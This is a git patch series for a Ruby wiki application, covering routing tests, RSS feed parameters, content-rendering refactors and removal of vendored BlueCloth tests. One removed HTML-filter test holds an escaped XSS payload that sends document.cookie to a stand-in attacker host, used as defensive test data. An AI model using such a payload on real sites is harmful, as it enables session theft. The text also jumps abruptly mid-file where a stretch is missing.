b/test/functional/admin_controller_test.rb @@ -26,32 +26,32 @@ class AdminControllerTest < Test::Unit::TestCase def test_create_system_form_submitted ApplicationController.wiki = WikiServiceWithNoPersistence.new - assert !@controller.wiki.setup? + assert !ApplicationController.wiki.setup? process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki') assert_redirected_to :web => 'my_wiki', :controller => 'wiki', :action => 'new', :id => 'HomePage' - assert @controller.wiki.setup? - assert_equal 'a_password', @controller.wiki.system[:password] - assert_equal 1, @controller.wiki.webs.size - new_web = @controller.wiki.webs['my_wiki'] + assert ApplicationController.wiki.setup? + assert_equal 'a_password', ApplicationController.wiki.system[:password] + assert_equal 1, ApplicationController.wiki.webs.size + new_web = ApplicationController.wiki.webs['my_wiki'] assert_equal 'My Wiki', new_web.name assert_equal 'my_wiki', new_web.address end def test_create_system_form_submitted_and_wiki_already_initialized - wiki_before = @controller.wiki - assert @controller.wiki.setup? + wiki_before = ApplicationController.wiki + assert ApplicationController.wiki.setup? process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki' assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal wiki_before, @controller.wiki + assert_equal wiki_before, ApplicationController.wiki # and no new web should be created either - assert_equal 1, @controller.wiki.webs.size + assert_equal 1, ApplicationController.wiki.webs.size assert_flash_has :error end @@ -200,19 +200,19 @@ class AdminControllerTest < Test::Unit::TestCase r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') - assert_redirected_to :action => 'list' + assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list' assert_equal [@home, @oak], @web.select.sort, "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" # Oak is now orphan, second pass should remove it - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') - assert_redirected_to :action => 'list' + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') + assert_redirected_to :controller => 'wiki', :web => 'wiki1', :action => 'list' assert_equal [@home], @web.select.sort, "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" # third pass does not destroy HomePage - r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password_orphaned' => 'pswd') assert_redirected_to :action => 'list' assert_equal [@home], @web.select.sort, "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" diff --git a/test/functional/routes_test.rb b/test/functional/routes_test.rb new file mode 100644 index 00000000..214bc1af --- /dev/null +++ b/test/functional/routes_test.rb @@ -0,0 +1,53 @@ +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' + +require 'action_controller/routing' + +class RoutesTest < Test::Unit::TestCase + + def test_parse_uri + assert_routing('', :controller => 'wiki', :action => 'index') + assert_routing('x', :controller => 'wiki', :action => 'index', :web => 'x') + assert_routing('x/y', :controller => 'wiki', :web => 'x', :action => 'y') + assert_routing('x/y/z', :controller => 'wiki', :web => 'x', :action => 'y', :id => 'z') + assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y'}, 'x/y/') + assert_recognizes({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, 'x/y/z/') + end + + def test_parse_uri_interestng_cases + assert_routing('_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage', + :web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', + :controller => 'wiki', + :action => 'an_action', :id => 'HomePage' + ) + assert_recognizes({:controller => 'wiki', :action => 'index'}, '///') + end + + def test_parse_uri_liberal_with_pagenames + + assert_routing('web/show/$HOME_PAGE', + :controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE') + + assert_routing('web/show/HomePage?arg1=value1&arg2=value2', + :controller => 'wiki', :web => 'web', :action => 'show', + :id => 'HomePage?arg1=value1&arg2=value2') + + assert_routing('web/file/abc.zip', + :web => 'web', :controller => 'file', :action => 'file', :id => 'abc.zip') + assert_routing('web/pic/abc.jpg', + :web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') + assert_routing('web/import', :web => 'web', :controller => 'file', :action => 'import') + # default option is wiki + assert_recognizes({:controller => 'wiki', :web => 'unknown_path', :action => 'index', }, + 'unknown_path') + end + + def test_cases_broken_by_routes + assert_routing('web/show/HomePage/something_else', + :controller => 'wiki', :web => 'web', :action => 'show', :id => 'HomePage/something_else') + assert_routing('web/show/Page+With+Spaces', + :controller => 'wiki', :web => 'web', :action => 'show', :id => 'Page+With+Spaces') + end + +end diff --git a/test/test_helper.rb b/test/test_helper.rb index 66bf8d5c..b321d11f 100644 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -14,9 +14,9 @@ class Test::Unit::TestCase def setup_controller_test(controller_class = nil, host = nil) if controller_class - @controller = controller_class + @controller = controller_class.new elsif self.class.to_s =~ /^(\w+Controller)Test$/ - @controller = Object::const_get($1) + @controller = Object::const_get($1).new else raise "Cannot derive the name of controller under test from class name #{self.class}" end diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb deleted file mode 100755 index 515ef974..00000000 --- a/test/unit/url_rewriting_hack_test.rb +++ /dev/null @@ -1,94 +0,0 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'url_rewriting_hack' - -class UrlRewritingHackTest < Test::Unit::TestCase - - def test_parse_uri - assert_equal({:controller => 'wiki', :action => 'x', :web => nil}, - DispatchServlet.parse_uri('/x/')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, - DispatchServlet.parse_uri('/x/y')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, - DispatchServlet.parse_uri('/x/y/')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, - DispatchServlet.parse_uri('/x/y/z')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, - DispatchServlet.parse_uri('/x/y/z/')) - end - - def test_parse_uri_approot - assert_equal({:controller => 'wiki', :action => 'index', :web => nil}, - DispatchServlet.parse_uri('/wiki/')) - end - - def test_parse_uri_interestng_cases - - assert_equal({:web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', - :controller => 'wiki', - :action => 'an_action', :id => 'HomePage' - }, - DispatchServlet.parse_uri( - '/_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage') - ) - - assert_equal false, DispatchServlet.parse_uri('') - assert_equal false, DispatchServlet.parse_uri('//') - assert_equal false, DispatchServlet.parse_uri('web') - end - - def test_parse_uri_liberal_with_pagenames - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE'}, - DispatchServlet.parse_uri('/web/show/$HOME_PAGE')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'HomePage/something_else'}, - DispatchServlet.parse_uri('/web/show/HomePage/something_else')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'HomePage?arg1=value1&arg2=value2'}, - DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'Page+With+Spaces'}, - DispatchServlet.parse_uri('/web/show/Page+With+Spaces')) - end - - def test_url_rewriting - request = ActionController::TestRequest.new - ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') - - assert_equal 'http://test.host/myweb/myaction', - ur.rewrite(:web => 'myweb', :controller => 'wiki', :action => 'myaction') - - assert_equal 'http://test.host/myOtherWeb/', - ur.rewrite(:web => 'myOtherWeb', :controller => 'wiki') - - assert_equal 'http://test.host/myaction', - ur.rewrite(:controller => 'wiki', :action => 'myaction') - - assert_equal 'http://test.host/', - ur.rewrite(:controller => 'wiki') - end - - def test_controller_mapping - request = ActionController::TestRequest.new - ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') - - assert_equal 'http://test.host/file', - ur.rewrite(:controller => 'file', :action => 'file') - assert_equal 'http://test.host/pic/abc.jpg', - ur.rewrite(:controller => 'file', :action => 'pic', :id => 'abc.jpg') - assert_equal 'http://test.host/web/pic/abc.jpg', - ur.rewrite(:web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') - assert_equal 'http://test.host/web/import', - ur.rewrite(:web => 'web', :controller => 'file', :action => 'import') - - # default option is wiki - assert_equal 'http://test.host/unknown_action', - ur.rewrite(:controller => 'wiki', :action => 'unknown_action') - end - -end \ No newline at end of file From aa95acb4f7b8536064a570b267cb6559c42eb186 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 18 Feb 2005 02:24:16 +0000 Subject: [PATCH 161/529] RSS feeds accept query parameter start, end and limit --- CHANGELOG | 2 ++ app/controllers/wiki_controller.rb | 30 +++++++++++++++---- test/functional/wiki_controller_test.rb | 40 ++++++++++++++++++++++++- test/test_helper.rb | 7 +++++ 4 files changed, 73 insertions(+), 6 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 2a6a962f..6f0a567c 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,6 @@ HEAD: + RSS feeds accept query parameters, sush as + http://localhost:2500/wiki/rss_with_headlines?start=2005-02-18&end=2005-02-19&limit=10 RedCloth 3.0.3 (read: mixing Textile and Markdown in the same page) Files/pictures can be uploaded to a wiki and served from / displayed in wiki pages Wiki link syntax doesn't conflict with Textile hyperlink syntax. Therefore diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 65098210..dba74af6 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -1,10 +1,11 @@ require 'application' require 'fileutils' require 'redcloth_for_tex' +require 'parsedate' class WikiController < ApplicationController - layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] + layout 'default', :except => [:rss_feed, :rss_with_content, :rss_with_headlines, :tex, :export_tex, :export_html] def index if @web_name @@ -89,11 +90,11 @@ class WikiController < ApplicationController end def rss_with_content - render_rss + render_rss(hide_description = false, *parse_rss_params) end def rss_with_headlines - render_rss(hide_description = true) + render_rss(hide_description = true, *parse_rss_params) end def search @@ -291,6 +292,18 @@ class WikiController < ApplicationController } end + def parse_rss_params + if @params.include? 'limit' + limit = @params['limit'].to_i rescue nil + limit = nil if limit == 0 + else + limit = 15 + end + start_date = Time.local(*ParseDate::parsedate(@params['start'])) rescue nil + end_date = Time.local(*ParseDate::parsedate(@params['end'])) rescue nil + [ limit, start_date, end_date ] + end + def password_check(password) if password == @web.password cookies['web_address'] = password @@ -306,8 +319,15 @@ class WikiController < ApplicationController ip end - def render_rss(hide_description = false) - @pages_by_revision = @web.select.by_revision.first(15) + def render_rss(hide_description = false, limit = 15, start_date = nil, end_date = nil) + if limit && !start_date && !end_date + @pages_by_revision = @web.select.by_revision.first(limit) + else + @pages_by_revision = @web.select.by_revision + @pages_by_revision.reject! { |page| page.created_at < start_date } if start_date + @pages_by_revision.reject! { |page| page.created_at > end_date } if end_date + end + @hide_description = hide_description @response.headers['Content-Type'] = 'text/xml' render 'wiki/rss_feed' diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index bf3b64ec..525fcae7 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -344,7 +344,6 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal @home.revisions[0], r.template_objects['revision'] end - def test_rss_with_content setup_wiki_with_three_pages @@ -388,6 +387,45 @@ class WikiControllerTest < Test::Unit::TestCase assert_template_xpath_match '/rss/channel/item/link', expected_page_links end + def test_rss_with_params + setup_wiki_with_30_pages + + r = process 'rss_with_headlines', 'web' => 'wiki1' + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal 15, pages.size, 15 + + r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => '5' + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal 5, pages.size + + r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => '25' + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal 25, pages.size + + r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => 'all' + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal 31, pages.size + + r = process 'rss_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-16' + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal 16, pages.size + + r = process 'rss_with_headlines', 'web' => 'wiki1', 'end' => '1976-10-16' + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal 15, pages.size + + r = process 'rss_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-01', 'end' => '1976-10-06' + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal 5, pages.size + end + def test_save r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', 'author' => 'AuthorOfNewPage' diff --git a/test/test_helper.rb b/test/test_helper.rb index b321d11f..9f8fc128 100644 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -45,6 +45,13 @@ class Test::Unit::TestCase 10.minutes.ago, Author.new('Guest', '127.0.0.2')) end + def setup_wiki_with_30_pages + (1..30).each { |i| + @wiki.write_page('wiki1', "page#{i}", "Test page #{i}\ncategory: test", + Time.local(1976, 10, i, 12, 00, 00), Author.new('Dema', '127.0.0.2')) + } + end + def tear_down_wiki ApplicationController.wiki = nil end From a9304d35fb013943277d2d04661c148fcb0571f6 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 18 Feb 2005 14:21:17 +0000 Subject: [PATCH 162/529] Simplified some code in wiki_content.rb --- app/models/chunks/engines.rb | 1 + app/models/wiki_content.rb | 28 +++++++++++----------------- 2 files changed, 12 insertions(+), 17 deletions(-) diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 9d8dd009..1d7eff70 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -50,4 +50,5 @@ module Engines end MAP = { :textile => Textile, :markdown => Markdown, :rdoc => RDoc } + MAP.default = Textile end diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index 1b2cfe81..b1bbb030 100644 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -39,16 +39,17 @@ require 'chunks/nowiki' # UPDATED: 22nd May 2004 class WikiContent < String - PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, WikiChunk::Link, URIChunk, LocalURIChunk, - WikiChunk::Word ] - POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ] + PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, WikiChunk::Link, URIChunk, + LocalURIChunk, WikiChunk::Word ].freeze + POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ].freeze + DEFAULT_OPTS = { :pre_engine_actions => PRE_ENGINE_ACTIONS, :post_engine_actions => POST_ENGINE_ACTIONS, :engine => Engines::Textile, :engine_opts => [], :mode => :show - } + }.freeze attr_reader :web, :options, :rendered, :chunks @@ -58,26 +59,19 @@ class WikiContent < String @revision = revision @web = @revision.page.web - # Deep copy of DEFAULT_OPTS to ensure that changes to PRE/POST_ENGINE_ACTIONS stay local - @options = Marshal.load(Marshal.dump(DEFAULT_OPTS)).update(options) - @options[:engine] = Engines::MAP[@web.markup] || Engines::Textile - @options[:engine_opts] = (@web.safe_mode ? [:filter_html, :filter_styles] : []) - - @options[:pre_engine_actions].delete(WikiChunk::Word) if @web.brackets_only + @options = DEFAULT_OPTS.dup.merge(options) + @options[:engine] = Engines::MAP[@web.markup] + @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode + @options[:pre_engine_actions] = (PRE_ENGINE_ACTIONS - [WikiChunk::Word]) if @web.brackets_only super(@revision.content) - begin - render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions]) -# FIXME this is where all the parsing problems were shoved under the carpet -# rescue => e -# @rendered = e.message - end + render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions]) end # Call @web.page_link using current options. def page_link(name, text, link_type) - @options[:link_type] = link_type || :show + @options[:link_type] = (link_type || :show) @web.make_link(name, text, @options) end From 414ed31a58779299579332aabd1baf2f72578300 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 18 Feb 2005 23:19:42 +0000 Subject: [PATCH 163/529] Converting hyperlinks to link_to calls (now that we have Routes, they work) --- app/helpers/application_helper.rb | 12 ++++++++- app/models/page.rb | 4 --- app/views/wiki/edit.rhtml | 13 ++++++--- app/views/wiki/list.rhtml | 27 ++++++++++++++----- app/views/wiki/locked.rhtml | 4 +-- app/views/wiki/new.rhtml | 7 +++-- app/views/wiki/page.rhtml | 39 ++++++++++++++++++++++----- app/views/wiki/recently_revised.rhtml | 2 +- app/views/wiki/revision.rhtml | 38 +++++++++++++++++++++----- app/views/wiki/rss_feed.rhtml | 4 +-- app/views/wiki/search.rhtml | 8 ++++-- app/views/wiki/web_list.rhtml | 2 +- test/functional/routes_test.rb | 12 ++++----- 13 files changed, 127 insertions(+), 45 deletions(-) diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index c8d597ac..1d3df38f 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -33,9 +33,19 @@ module ApplicationHelper html_options.join("\n") end + # Creates a hyperlink to a Wiki page, without checking if the page exists or not + def link_to_existing_page(page, text = nil, html_options = {}) + link_to( + text || page.name, + {:web => @web.address, :action => 'show', :id => page.name, :only_path => true}, + html_options) + end + + + # Creates a hyperlink to a Wiki page, or to a "new page" form if the page doesn't exist yet def link_to_page(page_name, web = @web, text = nil, options = {}) raise 'Web not defined' if web.nil? - home_page_url = url_for :web => web.address, :action => 'show', :id => 'HomePage', :only_path => true + home_page_url = url_for :web => web.address, :action => 'show', :id => page_name, :only_path => true base_url = home_page_url.sub(%r-/show/HomePage/?$-, '') web.make_link(page_name, text, options.merge(:base_url => base_url)) end diff --git a/app/models/page.rb b/app/models/page.rb index 1f714101..ddb286f7 100644 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -85,10 +85,6 @@ class Page @web.make_link(author, nil, options) end - def url - CGI.escape(self.name) - end - private def continous_revision?(created_at, author) diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index 386676f0..9a05e05c 100644 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -8,7 +8,10 @@ <%= render("#{@web.markup}_help") if @web %> - +<%= form_tag({ :action => 'save', :web => @web.address, :id => @page.name}, + {'id' => 'editForm', 'method' => 'post', 'onSubmit' => 'cleanAuthorName();'}) +%> +

          @@ -16,9 +19,13 @@ as - | Cancel (unlocks page) + | + <%= link_to('Cancel', {:web => @web.name, :action => 'cancel_edit', :id => @page.name}, + {:accesskey => 'c'}) + %> + (unlocks page)

          - +<%= end_form_tag %> " - DangerousHtmlOutput = - "

          <script>document.location='http://www.hacktehplanet.com" + - "/cgi-bin/cookie.cgi?' + document.cookie</script>

          " - DangerousStylesOutput = - "" - NoLessThanHtml = "Foo is definitely > than bar" - NoLessThanOutput = "

          Foo is definitely > than bar

          " - - - ### HTML filter options contributed by Florian Gross. - - ### Test the :filter_html restriction - def test_10_filter_html - printTestHeader "filter_html Option" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, :filter_html ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_html } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_styles } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousHtmlOutput, rval - - # Test setting it in a sub-array - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, [:filter_html] ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_html } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_styles } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousHtmlOutput, rval - end - - - ### Test the :filter_styles restriction - def test_20_filter_styles - printTestHeader "filter_styles Option" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, :filter_styles ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_styles } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_html } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousStylesOutput, rval - - # Test setting it in a subarray - assert_nothing_raised { - bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) - } - assert_instance_of BlueCloth, bc - - # Accessors - assert_nothing_raised { rval = bc.filter_styles } - assert_equal true, rval - assert_nothing_raised { rval = bc.filter_html } - assert_equal nil, rval - - # Test rendering with filters on - assert_nothing_raised { rval = bc.to_html } - assert_equal DangerousStylesOutput, rval - - end - - - ### Test to be sure filtering when there's no opening angle brackets doesn't - ### die. - def test_30_filter_no_less_than - printTestHeader "filter without a less-than" - rval = bc = nil - - # Test as a 1st-level param - assert_nothing_raised { - bc = BlueCloth::new( NoLessThanHtml, :filter_html ) - } - assert_instance_of BlueCloth, bc - - assert_nothing_raised { rval = bc.to_html } - assert_equal NoLessThanOutput, rval - end - - - -end - diff --git a/vendor/bluecloth-1.0.0/tests/bctestcase.rb b/vendor/bluecloth-1.0.0/tests/bctestcase.rb deleted file mode 100755 index 25fad2c5..00000000 --- a/vendor/bluecloth-1.0.0/tests/bctestcase.rb +++ /dev/null @@ -1,274 +0,0 @@ -#!/usr/bin/ruby -# -# This is an abstract test case class for building Test::Unit unit tests for the -# BlueCloth module. It consolidates most of the maintenance work that must be -# done to build a test file by adjusting the $LOAD_PATH appropriately, as well -# as adding some other useful methods that make building, maintaining, and using -# the tests for programming much easier (IMHO). See the docs for Test::Unit for -# more info on the particulars of unit testing. -# -# == Synopsis -# -# # Allow the test to be run from anywhere: -# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) -# basedir = File::dirname( __FILE__ ) -# require File::join( basedir, 'bctestcase' ) -# end -# -# class MySomethingTest < BlueCloth::TestCase -# def setup -# super() -# @foo = 'bar' -# end -# -# def test_00_something -# obj = nil -# assert_nothing_raised { obj = MySomething::new } -# assert_instance_of MySomething, obj -# assert_respond_to :myMethod, obj -# end -# -# end -# -# == Rcsid -# -# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# == Authors -# -# * Michael Granger -# -#:include: COPYRIGHT -# -#--- -# -# Please see the file COPYRIGHT in the 'docs' directory for licensing details. -# - -$DebugPattern ||= nil - -begin - basedir = File::dirname( File::dirname(__FILE__) ) - unless $LOAD_PATH.include?( "#{basedir}/lib" ) - $LOAD_PATH.unshift "#{basedir}/lib" - end -end - -require "test/unit" -require "bluecloth" - - -class BlueCloth - - ### The abstract base class for BlueCloth test cases. - class TestCase < Test::Unit::TestCase - - @methodCounter = 0 - @setupBlocks = [] - @teardownBlocks = [] - class << self - attr_accessor :methodCounter, :setupBlocks, :teardownBlocks - end - - - ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars - ### and accessors to the inheriting class. - def self::inherited( klass ) - klass.module_eval { - @setupBlocks = [] - @teardownBlocks = [] - - class << self - attr_accessor :setupBlocks, :teardownBlocks - end - } - klass.methodCounter = 0 - end - - - - ### Output the specified msgs joined together to - ### STDERR if $DEBUG is set. - def self::debugMsg( *msgs ) - return unless $DEBUG - self.message "DEBUG>>> %s" % msgs.join('') - end - - ### Output the specified msgs joined together to - ### STDOUT. - def self::message( *msgs ) - $stderr.puts msgs.join('') - $stderr.flush - end - - - ### Add a setup block for the current testcase - def self::addSetupBlock( &block ) - self.methodCounter += 1 - newMethodName = "setup_#{self.methodCounter}".intern - define_method( newMethodName, &block ) - self.setupBlocks.push newMethodName - end - - ### Add a teardown block for the current testcase - def self::addTeardownBlock( &block ) - self.methodCounter += 1 - newMethodName = "teardown_#{self.methodCounter}".intern - define_method( newMethodName, &block ) - self.teardownBlocks.unshift newMethodName - end - - - ############################################################# - ### I N S T A N C E M E T H O D S - ############################################################# - - ### A dummy test method to allow this Test::Unit::TestCase to be - ### subclassed without complaining about the lack of tests. - def test_0_dummy - end - - - ### Forward-compatibility method for namechange in Test::Unit - def setup( *args ) - self.class.setupBlocks.each {|sblock| - debugMsg "Calling setup block method #{sblock}" - self.send( sblock ) - } - super( *args ) - end - alias_method :set_up, :setup - - - ### Forward-compatibility method for namechange in Test::Unit - def teardown( *args ) - super( *args ) - self.class.teardownBlocks.each {|tblock| - debugMsg "Calling teardown block method #{tblock}" - self.send( tblock ) - } - end - alias_method :tear_down, :teardown - - - ### Skip the current step (called from #setup) with the +reason+ given. - def skip( reason=nil ) - if reason - msg = "Skipping %s: %s" % [ @method_name, reason ] - else - msg = "Skipping %s: No reason given." % @method_name - end - - $stderr.puts( msg ) if $VERBOSE - @method_name = :skipped_test - end - - - def skipped_test # :nodoc: - end - - - ### Add the specified +block+ to the code that gets executed by #setup. - def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end - - - ### Add the specified +block+ to the code that gets executed by #teardown. - def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end - - - ### Instance alias for the like-named class method. - def message( *msgs ) - self.class.message( *msgs ) - end - - - ### Instance alias for the like-named class method - def debugMsg( *msgs ) - self.class.debugMsg( *msgs ) - end - - - ### Output a separator line made up of length of the specified - ### char. - def writeLine( length=75, char="-" ) - $stderr.puts "\r" + (char * length ) - end - - - ### Output a header for delimiting tests - def printTestHeader( desc ) - return unless $VERBOSE || $DEBUG - message ">>> %s <<<" % desc - end - - - ### Try to force garbage collection to start. - def collectGarbage - a = [] - 1000.times { a << {} } - a = nil - GC.start - end - - - ### Output the name of the test as it's running if in verbose mode. - def run( result ) - $stderr.puts self.name if $VERBOSE || $DEBUG - - # Support debugging for individual tests - olddb = nil - if $DebugPattern && $DebugPattern =~ @method_name - olddb = $DEBUG - $DEBUG = true - end - - super - - $DEBUG = olddb unless olddb.nil? - end - - - ############################################################# - ### E X T R A A S S E R T I O N S - ############################################################# - - ### Negative of assert_respond_to - def assert_not_respond_to( obj, meth ) - msg = "%s expected NOT to respond to '%s'" % - [ obj.inspect, meth ] - assert_block( msg ) { - !obj.respond_to?( meth ) - } - end - - - ### Assert that the instance variable specified by +sym+ of an +object+ - ### is equal to the specified +value+. The '@' at the beginning of the - ### +sym+ will be prepended if not present. - def assert_ivar_equal( value, object, sym ) - sym = "@#{sym}".intern unless /^@/ =~ sym.to_s - msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % - [ sym, object.inspect, value.inspect ] - msg += "\tbut was: <%s>" % object.instance_variable_get(sym) - assert_block( msg ) { - value == object.instance_variable_get(sym) - } - end - - - ### Assert that the specified +object+ has an instance variable which - ### matches the specified +sym+. The '@' at the beginning of the +sym+ - ### will be prepended if not present. - def assert_has_ivar( sym, object ) - sym = "@#{sym}" unless /^@/ =~ sym.to_s - msg = "Object <%s> expected to have an instance variable <%s>" % - [ object.inspect, sym ] - assert_block( msg ) { - object.instance_variables.include?( sym.to_s ) - } - end - - end # class TestCase - -end # class BlueCloth - diff --git a/vendor/bluecloth-1.0.0/tests/data/antsugar.txt b/vendor/bluecloth-1.0.0/tests/data/antsugar.txt deleted file mode 100755 index 629dda3e..00000000 --- a/vendor/bluecloth-1.0.0/tests/data/antsugar.txt +++ /dev/null @@ -1,34 +0,0 @@ -The Ant-Sugar Tales -=================== - -By Candice Yellowflower - -The _Ant-Sugar Tales_ is a collection of short stories told from the -perspective of a fine young lady from [Venice][1], who has some run-ins -with a few [inquisitive insects][2]. Each tale presents a moral quandry, -which the ants are quick to solve with their antly wisdom and -know-how. Some of the moral lessons presented are: - -* Laundry: How not to get caught in soiled knickers. -* Used Ticket Stubs and Their Impact on the Universe -* I'm Keeping a Birdhouse in my Attic - -Use of Metaphor ---------------- - -The author's splended use of metaphor can be attributed to her growing -up in a art-supply store. Her characters are richly outlined, but her -unusual descriptions can sometimes be a bit jarring in places, such as -her description of the old caretaker that lives inside a hollow tree in -her yard: - -> His skin was smooth like Magnani Pescia 100% acid-free cold pressed -> 22x30" Soft White Paper, with fine hair like the bristles of a Habico -> Lasur Superb Oil Glazing Brush Size 10. - - - [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3 - (Venice: The Grand Canal) - [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html - - diff --git a/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt b/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt deleted file mode 100755 index 78a10186..00000000 --- a/vendor/bluecloth-1.0.0/tests/data/ml-announce.txt +++ /dev/null @@ -1,17 +0,0 @@ -Hi, - -I'd like to announce the alpha release of a Markdown library for [Ruby][1] -called "BlueCloth". It's mostly a direct port of the most recent Perl version, -minus the various plugin hooks and whatnot. - -More information can be found on [the project page][2], or feel free to ask me -directly. I don't have much in the way of a demo yet, but will be working on -getting something set up in the coming days. - - [1]: http://www.ruby-lang.org/ - [2]: http://bluecloth.rubyforge.org/ - --- -Michael Granger -Rubymage, Believer, Architect -The FaerieMUD Consortium diff --git a/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt b/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt deleted file mode 100755 index f54e91e1..00000000 --- a/vendor/bluecloth-1.0.0/tests/data/re-overflow.txt +++ /dev/null @@ 